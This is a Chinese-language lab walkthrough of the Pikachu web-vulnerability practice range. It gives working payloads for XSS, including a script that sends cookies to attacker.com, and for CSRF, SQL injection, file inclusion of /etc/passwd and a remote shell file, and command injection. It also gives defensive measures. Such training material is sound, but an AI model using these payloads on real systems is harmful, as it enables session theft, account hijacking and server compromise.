1. Pikachu靶场通关笔记:Web安全实战全解析
作为一名长期从事网络安全工作的从业者,我经常使用各种靶场来保持技术敏锐度。Pikachu靶场作为国内知名的Web安全学习平台,涵盖了从基础到进阶的各类漏洞场景。本文将系统梳理我在通关过程中的实战笔记,重点解析XSS、CSRF、SQL注入等核心漏洞的利用手法和防御思路。
1.1 靶场环境与工具准备
Pikachu靶场基于PHP+MySQL架构搭建,包含暴力破解、XSS、CSRF、SQL注入等十余个漏洞模块。我的测试环境采用Windows 10系统,配合以下工具套装:
- Burp Suite Community 2023.6:用于拦截和修改HTTP请求
- Firefox浏览器+开发者工具:前端调试与分析
- SQLMap 1.7:自动化SQL注入测试
重要提示:所有测试仅在本地授权环境进行,未经授权的渗透测试属于违法行为
2. XSS漏洞实战全解
2.1 XSS基础原理与分类
跨站脚本攻击(Cross-Site Scripting)根据攻击载荷的存储和执行方式可分为三类:
2.1.1 反射型XSS
- 特征:恶意脚本作为请求参数即时返回执行
- 利用场景:搜索框、错误消息等即时反馈页面
- 典型案例:
html复制http://target.com/search?q=<script>alert(1)</script>
2.1.2 存储型XSS
- 特征:恶意脚本被持久化存储后加载执行
- 利用场景:留言板、用户资料等可存储内容区域
- 风险等级:高危,影响所有访问受影响页面的用户
2.1.3 DOM型XSS
- 特征:完全在前端通过DOM操作触发
- 特殊点:不经过服务器处理,WAF难以防护
- 检测难点:需要人工分析前端JavaScript逻辑
2.2 反射型XSS实战案例
2.2.1 GET型利用
在Pikachu靶场的反射型XSS(GET)模块,通过URL参数注入:
html复制http://target/vul/xss/xss_reflected_get.php?message=<script>alert(document.cookie)</script>
绕过技巧:
- 当存在长度限制时,通过浏览器开发者工具修改input标签的maxlength属性
- 使用短payload:
<img src=x onerror=alert(1)>
2.2.2 POST型利用
需要构造恶意表单或使用Burp拦截修改POST请求体。关键是要理解前后端的数据流走向。
2.3 存储型XSS深度利用
在留言板模块输入:
html复制<script>var i=new Image();i.src="http://attacker.com/steal?cookie="+document.cookie;</script>
这种利用方式可以窃取登录用户的会话cookie,实现账户劫持。
防御建议:
- 服务端:对所有用户输入进行HTML实体编码
- 客户端:设置HttpOnly属性防止JavaScript读取cookie
2.4 DOM型XSS高级技巧
Pikachu靶场的DOM型XSS模块展示了两种经典解法:
2.4.1 事件处理器注入
javascript复制' onclick=alert('xss')>
通过闭合单引号插入事件属性,需要精确判断闭合方式。
2.4.2 JavaScript伪协议
javascript复制javascript:alert("xss")
直接作为a标签的href属性值,不依赖任何HTML标签解析。
独特优势:
- 完全避开服务端过滤
- 仅依赖浏览器JavaScript引擎
- 难以通过传统WAF检测
3. CSRF漏洞攻防实战
3.1 CSRF原理精讲
跨站请求伪造(CSRF)的本质是滥用浏览器的同源策略信任。攻击者诱使用户在已认证的Web应用中执行非预期操作,关键要素包括:
- 用户已登录目标站点
- 会话未过期
- 敏感操作缺乏二次验证
3.2 GET型CSRF利用
在Pikachu的CSRF(get)模块,通过构造恶意URL:
html复制<img src="http://target/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=attacker&submit=submit" width=0 height=0>
当受害用户访问该页面时,个人信息会被悄无声息地修改。
3.3 POST型CSRF突破
相比GET型,POST请求需要构造表单自动提交:
html复制<form action="http://target/vul/csrf/csrfpost/csrf_post_edit.php" method=POST>
<input type=hidden name=sex value="hacked">
<input type=submit>
</form>
<script>document.forms[0].submit()</script>
防御方案对比:
| 防御措施 | 实施难度 | 防护效果 | 用户体验 |
|---|---|---|---|
| 验证Referer | 简单 | 中等 | 无影响 |
| CSRF Token | 中等 | 高 | 无影响 |
| 二次认证 | 复杂 | 极高 | 有影响 |
4. SQL注入漏洞全解
4.1 注入类型识别方法论
4.1.1 数字型注入
特征:参数无需引号包裹
sql复制SELECT * FROM users WHERE id = 1 AND 1=1 --
4.1.2 字符型注入
特征:参数用引号包裹
sql复制SELECT * FROM users WHERE username = 'admin' AND '1'='1' --
4.1.3 搜索型注入
特征:使用LIKE模糊匹配
sql复制SELECT * FROM products WHERE name LIKE '%xxx%'
利用:%' UNION SELECT 1,2,3 --
4.2 报错注入实战
在Pikachu的宽字节注入模块,使用:
sql复制1%df' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+
通过故意制造主键冲突触发报错信息泄露。
4.3 自动化注入技巧
使用SQLMap进行高效检测:
bash复制sqlmap -u "http://target/vul/sqli/sqli_id.php?id=1" --risk=3 --level=5 --batch
参数说明:
--risk:提高测试风险等级--level:增加测试深度--batch:自动选择默认选项
5. 文件包含与RCE漏洞
5.1 文件包含漏洞利用链
5.1.1 本地文件包含
php复制?filename=../../../../etc/passwd
通过路径遍历读取系统敏感文件。
5.1.2 远程文件包含
需要allow_url_include=On配置:
php复制?filename=http://attacker.com/shell.txt
其中shell.txt包含PHP代码,会被服务器执行。
5.2 命令注入实战
在Pikachu的RCE模块,Windows系统下:
code复制127.0.0.1 & whoami
通过管道符拼接系统命令。
安全建议:
- 使用白名单限制输入字符
- 调用系统命令时使用参数化接口
- 禁用危险函数如
system()、exec()
6. 防御方案与最佳实践
6.1 通用防护策略
-
输入验证:
- 定义严格的输入规范
- 服务端验证(客户端验证可绕过)
- 正则表达式白名单
-
输出编码:
- HTML实体编码(htmlspecialchars)
- JavaScript编码
- URL编码
-
安全配置:
- 关闭错误回显
- 最小权限原则
- 及时更新补丁
6.2 各漏洞专项防护
| 漏洞类型 | 关键防御措施 |
|---|---|
| XSS | CSP策略、输入过滤、输出编码 |
| CSRF | Anti-CSRF Token、SameSite Cookie |
| SQL注入 | 预编译语句、存储过程 |
| 文件包含 | 禁用远程包含、限制包含路径 |
在实际项目开发中,我通常会采用分层防御策略,结合OWASP Top 10的推荐方案,从编码规范、框架选择、安全测试等多个维度构建防护体系。
通过Pikachu靶场的系统化练习,可以建立起完整的Web安全知识框架。建议每个模块都尝试多种攻击手法,并思考对应的防御方案,这样才能真正掌握攻防两端的核心要领。